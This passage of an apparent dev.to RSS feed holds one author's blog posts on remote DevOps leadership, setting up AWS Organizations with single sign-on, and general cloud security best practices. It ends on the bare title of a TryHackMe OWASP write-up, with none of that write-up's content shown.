  
  
  Securing the Remote DevOps Pipeline
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Zero-Trust Architecture
&lt;/h3&gt;

&lt;p&gt;Drawing from my cybersecurity experience across multiple organizations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Implement comprehensive identity and access management systems: At OxygenX, I've implemented robust IAM policies that strengthen security without hampering productivity.&lt;/li&gt;
&lt;li&gt;Utilize secure VPNs and encrypted communications: Established secure remote access protocols at Colarroid Creations that became the foundation for future implementations.&lt;/li&gt;
&lt;li&gt;Deploy multi-factor authentication: Implemented organization-wide MFA at Yebox Technologies and enhanced these protocols at OxygenX.&lt;/li&gt;
&lt;li&gt;Conduct regular security audits: Established automated security scanning pipelines across all environments.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Compliance and Governance
&lt;/h3&gt;

&lt;p&gt;Based on my experience implementing security measures across different organizations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Automate compliance checks in the CI/CD pipeline&lt;/li&gt;
&lt;li&gt;Maintain clear documentation of security policies and procedures&lt;/li&gt;
&lt;li&gt;Provide regular training and updates on security best practices&lt;/li&gt;
&lt;li&gt;Implement robust audit trails for all system access and changes&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Fostering Agile Collaboration
&lt;/h2&gt;

&lt;p&gt;Through my roles at OxygenX, Colarroid Creations, and Yebox Technologies:&lt;/p&gt;

&lt;h3&gt;
  
  
  Asynchronous Communication Strategies
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Documentation-First Approach: At OxygenX, I've implemented a comprehensive documentation system that enables teams across time zones to stay aligned without constant meetings, reducing meeting fatigue while improving knowledge retention.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Structured Async Stand-ups: At Colarroid Creations, I introduced a system where team members post daily updates in a shared channel, increasing productivity by 30% through reduced interruptions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Clear Escalation Paths: At Yebox Technologies, I established tiered response protocols for critical issues, ensuring problems get addressed efficiently regardless of time zones.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Team Dynamics and Innovation
&lt;/h3&gt;

&lt;p&gt;Drawing from my AWS Community Builders experience and current role:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Virtual Innovation Sprints: At OxygenX, I organize regular virtual hackathons that have resulted in several innovative solutions, including a new automated deployment pipeline that reduced deployment time by 60%.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cross-Functional Collaboration: Implemented platforms at Colarroid Creations that enabled designers, developers, and operations teams to collaborate seamlessly.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Resource Optimization and Cost Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Infrastructure Optimization
&lt;/h3&gt;

&lt;p&gt;My cloud expertise across organizations has helped achieve significant cost savings:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Cloud Resource Management: At OxygenX, I've implemented automated scaling policies that reduced cloud costs by 45% while maintaining performance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Usage Pattern Analysis: Through my work at Colarroid Creations, I developed a methodology for analyzing usage patterns that helps organizations optimize their infrastructure spend.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Team Productivity
&lt;/h3&gt;

&lt;p&gt;Drawing from my seven years of experience:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Time Zone Coordination: Created efficient workflow systems at OxygenX that maximized productivity across different time zones, increasing overall team output by 25%.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Automation Implementation: Implemented comprehensive automation strategies at Colarroid Creations that significantly reduced manual intervention in routine tasks.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Measuring Success in Remote DevOps
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Key Performance Indicators
&lt;/h3&gt;

&lt;p&gt;Based on my experience building products from scratch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Deployment Metrics: At OxygenX, tracked deployment frequency and success rates, achieving a 99.9% success rate through automated testing and verification.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Recovery Time: Through implementing robust monitoring systems at Colarroid Creations, reduced Mean Time to Recovery (MTTR) from hours to minutes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Team Satisfaction: Regular surveys and feedback sessions at Yebox Technologies helped maintain a 90% team satisfaction rate despite remote challenges.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Implementation Roadmap
&lt;/h2&gt;

&lt;p&gt;Drawing from my successful DevOps implementations across multiple organizations:&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 1: Assessment (Weeks 1-4)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Current DevOps maturity evaluation&lt;/li&gt;
&lt;li&gt;Team capabilities and gaps analysis&lt;/li&gt;
&lt;li&gt;Technical debt assessment&lt;/li&gt;
&lt;li&gt;Security posture review&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Phase 2: Foundation Building (Weeks 5-12)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Tool selection and implementation&lt;/li&gt;
&lt;li&gt;Security framework establishment&lt;/li&gt;
&lt;li&gt;Monitoring system setup&lt;/li&gt;
&lt;li&gt;Initial automation implementation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Phase 3: Scaling and Optimization (Weeks 13-24)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Process refinement&lt;/li&gt;
&lt;li&gt;Team training and development&lt;/li&gt;
&lt;li&gt;Automation expansion&lt;/li&gt;
&lt;li&gt;Performance optimization&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Case Studies
&lt;/h2&gt;

&lt;h3&gt;
  
  
  OxygenX Transformation
&lt;/h3&gt;

&lt;p&gt;In my current role:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Implemented advanced CI/CD pipelines&lt;/li&gt;
&lt;li&gt;Enhanced security protocols&lt;/li&gt;
&lt;li&gt;Optimized cloud resource utilization&lt;/li&gt;
&lt;li&gt;Improved team collaboration processes&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Yebox Technologies Success Story
&lt;/h3&gt;

&lt;p&gt;During my tenure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reduced deployment time from 2 hours to 15 minutes&lt;/li&gt;
&lt;li&gt;Improved system uptime to 99.95%&lt;/li&gt;
&lt;li&gt;Decreased infrastructure costs by 40%&lt;/li&gt;
&lt;li&gt;Automated 80% of routine tasks&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Colarroid Creations Cloud Infrastructure
&lt;/h3&gt;

&lt;p&gt;During my tenure as Cloud Engineer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reduced cloud costs by 45%&lt;/li&gt;
&lt;li&gt;Implemented robust security measures&lt;/li&gt;
&lt;li&gt;Enhanced system scalability&lt;/li&gt;
&lt;li&gt;Improved deployment efficiency&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ROI and Budget Considerations
&lt;/h2&gt;

&lt;p&gt;Based on my experience optimizing DevOps investments across organizations:&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategic Investment Areas
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Infrastructure and Security (35%)&lt;/li&gt;
&lt;li&gt;Automation and Tools (30%)&lt;/li&gt;
&lt;li&gt;Team Development (20%)&lt;/li&gt;
&lt;li&gt;Innovation and Research (15%)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Expected Returns
&lt;/h3&gt;

&lt;p&gt;From my implementations across different organizations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;30-40% reduction in deployment costs&lt;/li&gt;
&lt;li&gt;50-60% improvement in deployment frequency&lt;/li&gt;
&lt;li&gt;40-50% reduction in security incidents&lt;/li&gt;
&lt;li&gt;25-35% increase in team productivity&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Change Management
&lt;/h2&gt;

&lt;p&gt;My experience leading teams across multiple organizations has taught me effective change management strategies:&lt;/p&gt;

&lt;h3&gt;
  
  
  Stakeholder Engagement
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Regular updates and demonstrations&lt;/li&gt;
&lt;li&gt;Clear metrics and success stories&lt;/li&gt;
&lt;li&gt;Transparent communication about challenges&lt;/li&gt;
&lt;li&gt;Inclusive decision-making processes&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Training and Development
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Customized learning paths&lt;/li&gt;
&lt;li&gt;Peer programming sessions&lt;/li&gt;
&lt;li&gt;Knowledge sharing platforms&lt;/li&gt;
&lt;li&gt;Regular skill assessments&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Future Trends
&lt;/h2&gt;

&lt;p&gt;Based on my experience and ongoing professional development:&lt;/p&gt;

&lt;h3&gt;
  
  
  AI and DevOps Integration
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;AI-powered code review systems currently implementing at OxygenX&lt;/li&gt;
&lt;li&gt;Automated security threat detection&lt;/li&gt;
&lt;li&gt;Predictive scaling mechanisms&lt;/li&gt;
&lt;li&gt;Intelligent monitoring systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Edge Computing Evolution
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Distributed deployment strategies&lt;/li&gt;
&lt;li&gt;Edge security implementations&lt;/li&gt;
&lt;li&gt;Real-time processing optimization&lt;/li&gt;
&lt;li&gt;IoT device management&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Industry-Specific Considerations
&lt;/h2&gt;

&lt;p&gt;Through my varied experience across organizations:&lt;/p&gt;

&lt;h3&gt;
  
  
  Financial Services
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Enhanced security protocols&lt;/li&gt;
&lt;li&gt;Compliance automation&lt;/li&gt;
&lt;li&gt;Zero-downtime deployments&lt;/li&gt;
&lt;li&gt;Transaction monitoring systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Healthcare
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;HIPAA compliance automation&lt;/li&gt;
&lt;li&gt;Patient data protection&lt;/li&gt;
&lt;li&gt;Audit trail implementation&lt;/li&gt;
&lt;li&gt;Emergency response systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Implementation Checklist for C-Level Executives
&lt;/h2&gt;

&lt;p&gt;Based on my experience implementing DevOps transformations:&lt;/p&gt;

&lt;h3&gt;
  
  
  Strategic Planning
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Assess current DevOps maturity&lt;/li&gt;
&lt;li&gt;Define clear objectives and metrics&lt;/li&gt;
&lt;li&gt;Establish budget and resource allocation&lt;/li&gt;
&lt;li&gt;Create stakeholder communication plan&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Technical Foundation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Evaluate and select tool stack based on team needs&lt;/li&gt;
&lt;li&gt;Implement comprehensive security measures&lt;/li&gt;
&lt;li&gt;Set up monitoring and observability&lt;/li&gt;
&lt;li&gt;Establish automation frameworks&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Team Development
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Define remote work policies that promote flexibility&lt;/li&gt;
&lt;li&gt;Implement training programs for continuous learning&lt;/li&gt;
&lt;li&gt;Establish clear communication protocols&lt;/li&gt;
&lt;li&gt;Create career development paths&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Execution and Monitoring
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Launch pilot programs to test processes&lt;/li&gt;
&lt;li&gt;Monitor key metrics for success&lt;/li&gt;
&lt;li&gt;Gather and act on team feedback&lt;/li&gt;
&lt;li&gt;Scale successful practices across the organization&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final Thoughts: The Future of Remote DevOps
&lt;/h2&gt;

&lt;p&gt;Having worked with various organizations and contributed to numerous DevOps initiatives, I've seen how the evolution of remote DevOps continues to accelerate. Through my experience at OxygenX, Colarroid Creations, and Yebox Technologies, combined with my upcoming studies in forensic science and cybersecurity, I'm convinced that organizations embracing these changes will be better positioned to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attract and retain top talent globally&lt;/li&gt;
&lt;li&gt;Respond rapidly to market changes with agile practices&lt;/li&gt;
&lt;li&gt;Maintain competitive advantage through innovative solutions&lt;/li&gt;
&lt;li&gt;Drive sustainable growth through efficient operations&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Excellence in remote DevOps is achievable with the right combination of leadership, tools, processes, and culture. Through my journey across multiple organizations and roles, I've seen organizations thrive by embracing these changes. The key lies in viewing remote DevOps not as a temporary adaptation but as a strategic advantage that enables organizations to build more resilient, efficient, and innovative technology operations.&lt;/p&gt;

&lt;p&gt;For C-level executives, the journey to remote DevOps excellence requires careful planning, strategic investment, and ongoing commitment to adaptation and improvement. The rewards – including increased efficiency, broader talent access, and improved work-life balance for teams – make this transformation essential for modern organizations. As someone deeply immersed in this field, I can attest that the opportunities for growth and success are limitless when approached with the right strategy and mindset.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>remote</category>
      <category>workplace</category>
      <category>developer</category>
    </item>
    <item>
      <title>Mastering Multi-Account Management: Step-by-Step Guide to Setting Up AWS Organizations with SSO</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Fri, 17 Jan 2025 13:59:35 +0000</pubDate>
      <link>https://dev.to/aws-builders/mastering-multi-account-management-step-by-step-guide-to-setting-up-aws-organizations-with-sso-4690</link>
      <guid>https://dev.to/aws-builders/mastering-multi-account-management-step-by-step-guide-to-setting-up-aws-organizations-with-sso-4690</guid>
      <description>&lt;p&gt;AWS Organizations is a powerful service that allows businesses and organizations to manage multiple AWS accounts under a single umbrella. By centralizing account management, organizations can streamline operations, enhance security, and simplify billing. One of the best practices when using AWS Organizations is to establish a multi-account AWS environment with Single Sign-On (SSO) for seamless and secure access to all accounts. This guide provides a step-by-step approach to achieve this setup.&lt;/p&gt;

&lt;h3&gt;
  
  
  Benefits of a Multi-Account AWS Environment with SSO
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1.Centralized Management:&lt;/strong&gt; Simplify account management, including billing and security policies.&lt;br&gt;
&lt;strong&gt;2.Improved Security:&lt;/strong&gt; Isolate workloads and resources to minimize the blast radius in case of a breach.&lt;br&gt;
&lt;strong&gt;3.Scalability:&lt;/strong&gt; Easily add and manage accounts for new teams, projects, or departments.&lt;br&gt;
&lt;strong&gt;4.Streamlined Access:&lt;/strong&gt; Use SSO to allow users to securely access multiple accounts without managing separate credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Steps to Set Up a Multi-Account AWS Environment with SSO
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Sign in to the AWS Management Console&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Log in as the root user of the AWS management account. The management account is the primary account that governs your organization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Navigate to the Organizations Page&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Click on your account name in the top-right corner of the console.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Select "Support", then choose "Organizations" from the dropdown menu.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Create an Organization&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. On the Organizations page, click "&lt;strong&gt;Create organization"&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;b. Select the type of organization to create:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;With an existing management account&lt;/strong&gt;: Use the current account as the management account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;With a new management account&lt;/strong&gt;: Provide details such as an email address and phone number for the root user of the new management account.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;c. Click &lt;strong&gt;"Create organization"&lt;/strong&gt; to complete this step.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating and Adding AWS Accounts
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Add New AWS Accounts&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Navigate to the &lt;strong&gt;Accounts&lt;/strong&gt; tab in the Organizations console.&lt;/p&gt;

&lt;p&gt;b. Click &lt;strong&gt;"Add account"&lt;/strong&gt; and provide the following details:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Email address&lt;/strong&gt;: Unique for each account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Account name&lt;/strong&gt;: Reflects the purpose of the account (e.g., "Development", "Marketing").&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Role name&lt;/strong&gt;: Define an IAM role that grants permissions to manage the account.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;c. Click &lt;strong&gt;"Create account"&lt;/strong&gt; to finalize.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5: Repeat Account Creation for Other Teams or Departments&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For each additional team or department requiring a separate AWS account, repeat the process to ensure resources are properly segmented.&lt;/p&gt;

&lt;h3&gt;
  
  
  Adding Existing Accounts to the Organization
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 6: Invite Accounts&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Navigate to the &lt;strong&gt;Accounts&lt;/strong&gt; tab in the Organizations console.&lt;/p&gt;

&lt;p&gt;b. Click &lt;strong&gt;"Invite accounts"&lt;/strong&gt; and enter the email addresses of the accounts you want to add.&lt;/p&gt;

&lt;p&gt;c. Assign a role for managing the accounts within the organization.&lt;/p&gt;

&lt;p&gt;d. Click &lt;strong&gt;"Send invitation"&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 7: Accept Invitations&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Users of the invited accounts must log in and accept the invitations. Once accepted, the accounts will appear in your organization.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setting Up AWS Single Sign-On (SSO)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 8: Enable AWS SSO&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Go to the AWS SSO Console.&lt;/p&gt;

&lt;p&gt;b. Click &lt;strong&gt;"Enable AWS Single Sign-On"&lt;/strong&gt; to activate the service for your organization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 9: Configure an Identity Source&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Choose the directory to store user and group information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AWS SSO directory&lt;/strong&gt;: Manage users directly in AWS SSO.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;External identity providers&lt;/strong&gt;: Integrate with services like Microsoft Active Directory, Okta, or Google Workspace.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;b. Complete the setup based on your chosen identity source.&lt;/p&gt;

&lt;h3&gt;
  
  
  Granting Access to AWS Accounts
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 10: Assign Accounts to Users and Groups&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. In the AWS SSO Console, navigate to the "AWS Accounts" section.&lt;/p&gt;

&lt;p&gt;b. Select the accounts that require access.&lt;/p&gt;

&lt;p&gt;c. Assign users and groups from your identity source to the accounts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 11: Configure Permissions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Use permission sets to define the level of access for each user or group.&lt;/p&gt;

&lt;p&gt;b. Apply predefined AWS-managed policies or create custom policies tailored to your organization’s needs.&lt;/p&gt;

&lt;p&gt;c. Assign the appropriate permission sets to users and groups.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implementing Role-Based Access Control (RBAC)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 12: Define Roles and Permissions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Analyze user requirements and group them by roles (e.g., developer, admin).&lt;/p&gt;

&lt;p&gt;b. Use AWS IAM policies to define access scopes based on roles.&lt;/p&gt;

&lt;p&gt;c. Attach these policies to the permission sets in AWS SSO.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 13: Test Access Control&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Simulate user logins to verify they have appropriate access.&lt;/p&gt;

&lt;p&gt;b. Adjust permissions as needed to align with organizational policies.&lt;/p&gt;

&lt;h3&gt;
  
  
  Final Steps and Best Practices
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 14: Monitor and Audit&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Use AWS CloudTrail to log activity across accounts.&lt;/p&gt;

&lt;p&gt;b. Regularly review access logs to ensure compliance with security policies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 15: Enforce Service Control Policies (SCPs)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;a. Use SCPs to define what actions can or cannot be performed within the organization.&lt;/p&gt;

&lt;p&gt;b. For example, restrict access to certain AWS regions or services for specific accounts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 16: Automate Account Provisioning&lt;/strong&gt;&lt;br&gt;
Consider using AWS Control Tower for streamlined account creation and governance.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;By following these steps, you can set up a multi-account AWS environment with SSO using AWS Organizations. This configuration ensures secure and efficient management of resources across accounts while providing users with a seamless authentication experience. Regularly revisit your setup to incorporate new best practices and features released by AWS.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>The Intersection of DevOps, AWS, and Cloud Security: Best Practices for a Secure Environment</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Mon, 25 Mar 2024 08:59:23 +0000</pubDate>
      <link>https://dev.to/aws-builders/the-intersection-of-devops-aws-and-cloud-security-best-practices-for-a-secure-environment-348o</link>
      <guid>https://dev.to/aws-builders/the-intersection-of-devops-aws-and-cloud-security-best-practices-for-a-secure-environment-348o</guid>
      <description>&lt;p&gt;As a DevOps engineer, I have come to learn the importance of cloud security in my line of work. With the rise of cloud computing, it has become essential to have a secure environment to protect sensitive data, and this is where DevOps, AWS, and cloud security intersect. In this article, I will explain what DevOps is and how it intersects with AWS and cloud security. I will also discuss the importance of cloud security, best practices for cloud security, how DevOps and AWS can help with cloud security, the impact of cloud security on your career in DevOps and AWS, courses and certifications for DevOps, AWS, and cloud security, tools for DevOps, AWS, and cloud security, and finally, the future of DevOps, AWS, and cloud security.&lt;/p&gt;

&lt;h3&gt;
  
  
  Introduction to DevOps, AWS, and Cloud Security
&lt;/h3&gt;

&lt;p&gt;DevOps is a software development approach that emphasises collaboration and communication between development and operations teams. The goal of DevOps is to create a culture of collaboration, integration, and automation, which helps teams to deliver software faster and more reliably. AWS, on the other hand, is a cloud computing platform that provides a wide range of services, including computing, storage, and databases, among others. It is a popular choice for businesses looking to move their applications to the cloud. Cloud security, on the other hand, refers to the set of policies, controls, and technologies that are put in place to protect cloud-based systems, data, and infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is DevOps and how does it intersect with AWS and Cloud Security?
&lt;/h3&gt;

&lt;p&gt;DevOps is all about collaboration, integration, and automation. It brings together the development and operations teams to work together in a seamless manner. AWS provides a wide range of services that can be used to support DevOps, including compute, storage, and databases. AWS can be used to automate the deployment and management of applications, which is a key aspect of DevOps. Cloud security is an important consideration when using AWS, as the cloud platform can be vulnerable to security breaches. DevOps can help to improve cloud security by integrating security into the application development process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding the Importance of Cloud Security
&lt;/h3&gt;

&lt;p&gt;Cloud security is essential in today's environment, as more and more businesses move their applications to the cloud. Cloud security is important because it helps to protect sensitive data from breaches and unauthorised access. Cloud security also helps to ensure that cloud-based systems are available and reliable. Breaches can cause significant damage to businesses, including financial losses and damage to reputation. It is essential to have a comprehensive cloud security strategy in place to protect against these threats.&lt;/p&gt;

&lt;h3&gt;
  
  
  Best Practices for Cloud Security
&lt;/h3&gt;

&lt;p&gt;There are several best practices that can be used to ensure cloud security. These include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Implementing a comprehensive security policy:&lt;/strong&gt; A security policy should be in place to guide the implementation of security controls and procedures.&lt;br&gt;
Implementing access controls: Access controls should be put in place to ensure that only authorised users can access cloud-based systems.&lt;br&gt;
&lt;strong&gt;Implementing encryption:&lt;/strong&gt; Encryption should be used to protect sensitive data from unauthorised access.&lt;br&gt;
Regularly monitoring and auditing cloud-based systems: Regular monitoring and auditing can help to identify security issues before they become serious problems.&lt;br&gt;
&lt;strong&gt;Regularly updating software:&lt;/strong&gt; Regularly updating software can help to ensure that systems are protected against known vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  How DevOps and AWS can help with Cloud Security
&lt;/h3&gt;

&lt;p&gt;DevOps and AWS can help to improve cloud security by integrating security into the application development process. DevOps can help to identify security issues early on in the development process, which can help to prevent security breaches. AWS provides a wide range of security services, including identity and access management, network security, and encryption, among others. These services can be used to enhance cloud security and ensure that cloud-based systems are protected against threats.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Impact of Cloud Security on Your Career in DevOps and AWS
&lt;/h3&gt;

&lt;p&gt;Cloud security is becoming increasingly important in the world of DevOps and AWS. As a DevOps engineer, having a solid understanding of cloud security can help to set you apart from other engineers. Understanding cloud security can also help you to identify potential security issues and implement solutions to address them. Cloud security certifications can help to demonstrate your knowledge and expertise in this area and can help to advance your career in DevOps and AWS.&lt;/p&gt;

&lt;p&gt;Courses and Certifications for DevOps, AWS, and Cloud Security&lt;br&gt;
There are several courses and certifications available for DevOps, AWS, and cloud security. These include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS Certified DevOps Engineer:&lt;/strong&gt; This certification validates your understanding of DevOps practices and how they can be implemented using AWS services.&lt;br&gt;
&lt;strong&gt;Certified Cloud Security Professional (CCSP):&lt;/strong&gt; This certification validates your knowledge of cloud security best practices and how they can be applied to different cloud platforms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DevOps Foundation Certification:&lt;/strong&gt; This certification validates your understanding of DevOps practices and principles.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tools for DevOps, AWS, and Cloud Security
&lt;/h3&gt;

&lt;p&gt;There are several tools available for DevOps, AWS, and cloud security. These include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS CloudFormation:&lt;/strong&gt; This tool can be used to automate the deployment and management of AWS resources.&lt;br&gt;
AWS Config: This tool can be used to monitor and manage AWS resources.&lt;br&gt;
&lt;strong&gt;AWS Identity and Access Management (IAM):&lt;/strong&gt; This tool can be used to manage access to AWS resources.&lt;br&gt;
&lt;strong&gt;DevOps, AWS, and Cloud Security Services&lt;/strong&gt;&lt;br&gt;
There are several services available for DevOps, AWS, and cloud security. These include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS Security Hub:&lt;/strong&gt; This service provides a centralized view of security alerts and compliance status across AWS accounts.&lt;br&gt;
&lt;strong&gt;AWS Shield:&lt;/strong&gt; This service provides protection against DDoS attacks.&lt;br&gt;
&lt;strong&gt;AWS WAF:&lt;/strong&gt; This service provides protection against web-based attacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;DevOps, AWS, and cloud security are all interconnected. DevOps can help to improve cloud security by integrating security into the application development process. AWS provides a wide range of security services that can be used to enhance cloud security. Cloud security is becoming increasingly important in the world of DevOps and AWS, and having a solid understanding of cloud security can help to advance your career in this field. There are several courses, certifications, tools, and services available for DevOps, AWS, and cloud security, and it is essential to stay up-to-date with the latest developments in this area.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>devops</category>
      <category>cloudseurity</category>
      <category>career</category>
    </item>
    <item>
      <title>OWASP Top 10 - Write-up - TryHackMe</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Wed, 25 Oct 2023 11:28:37 +0000</pubDate>
      <link>https://dev.to/aws-builders/owasp-top-10-write-up-tryhackme-g3a</link>
      <guid>https://dev.to/aws-builders/owasp-top-10-write-up-tryhackme-g3a</guid>
      <description>&lt;p&gt;&lt;strong&gt;Information&lt;/strong&gt;&lt;br&gt;
